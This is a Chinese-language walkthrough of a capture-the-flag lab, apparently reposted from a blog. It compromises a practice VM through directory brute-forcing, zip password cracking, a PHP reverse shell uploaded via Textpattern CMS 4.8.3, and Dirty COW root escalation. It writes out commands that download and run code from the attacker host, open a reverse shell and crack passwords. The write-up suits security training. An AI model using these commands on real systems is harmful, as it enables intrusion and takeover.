渗透思路:
nmap扫描端口 ---- gobuster扫描网站目录 ---- fcrackzip爆破压缩包密码 ---- 利用TextPattern CMS 4.8.3的RCE(/任意文件上传)漏洞getshell ---- 脏牛提权
环境信息:
靶机:192.168.101.100
攻击机:192.168.101.34
具体步骤:
1、nmap扫描端口
sudo nmap -sV -sC -p- 192.168.101.100
扫描到80端口,并且发现了robots.txt文件
2、gobuster扫描网站目录
浏览器访问http://192.168.101.100/robots.txt
除了发现http://192.168.101.100/textpattern/textpattern/这个登录页面
还发现一句提示
dont forget to add .zip extension to your dir-brute
因此接下来用gobuster扫描网站目录,并加上-x .zip,来扫描.zip后缀的网站文件
gobuster dir -u http://192.168.101.100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .zip
扫描到spammer.zip
3、fcrackzip爆破压缩包密码
下载http://192.168.101.100/spammer.zip,解压的时候发现需要密码
用fcrackzip爆破密码
fcrackzip -D -p rockyou.txt spammer.zip -u
得到密码myspace4
解压spammer.zip,密码输入myspace4,得到creds.txt
unzip spammer.zip
查看creds.txt,里面有http://192.168.101.100/textpattern/textpattern/的用户名和密码mayer:lionheart
4、利用TextPattern CMS 4.8.3的RCE(/任意文件上传)漏洞getshell
以用户名mayer,密码lionheart登录http://192.168.101.100/textpattern/textpattern/
登录成功后在左下角发现站点是基于Textpattern CMS v4.8.3搭建的
在Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers中搜索Textpattern CMS,发现一个4.8.3版本的RCE:
TextPattern CMS 4.8.3 - Remote Code Execution (Authenticated) - PHP webapps Exploit
把这个exp下载下来之后执行,发现无法执行成功,报错
后来又试了几个exp,都执行失败,寻思可能和这个站点总是出现告警提示有关
最后,根据exploit-db上的exp看出这是个任意文件上传造成的rce,并且文件上传的页面地址是http://192.168.101.100/textpattern/textpattern/index.php?event=file
在该处上传kali上的/usr/share/webshells/php/php-reverse-shell.php,上传前需要修改$ip和$port分别为攻击机ip和攻击机监听的tcp端口。
上传完成后,访问该文件的url为http://192.168.101.100/textpattern/files/上传的文件名
(这边看exp原本我以为url是http://192.168.101.100/textpattern/textpattern/files/上传的文件名,但这个不行,后来试出来是http://192.168.101.100/textpattern/files/上传的文件名)
在攻击机上nc监听8888端口,浏览器访问上传的文件后即可获得靶机www-data用户的反弹shell。
nc -nlvp 8888
再输入如下命令即可得到交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
5、脏牛提权
从攻击机上获取linpeas.sh并执行(攻击机上先执行python2 -m SimpleHTTPServer 80
以开启http服务)
wget http://192.168.101.34/linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh
找到内核提权的方法dirty cow,exp下载路径为https://www.exploit-db.com/download/40847
靶机/tmp目录下执行
wget http://192.168.101.34/40847.cpp && g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil && chmod +x dcow && ./dcow
执行成功,获得root用户密码dirtyCowFun
执行su -
密码为dirtyCowFun,提权到root,并在/root下找到flag.txt
来源地址:https://blog.csdn.net/elephantxiang/article/details/126682918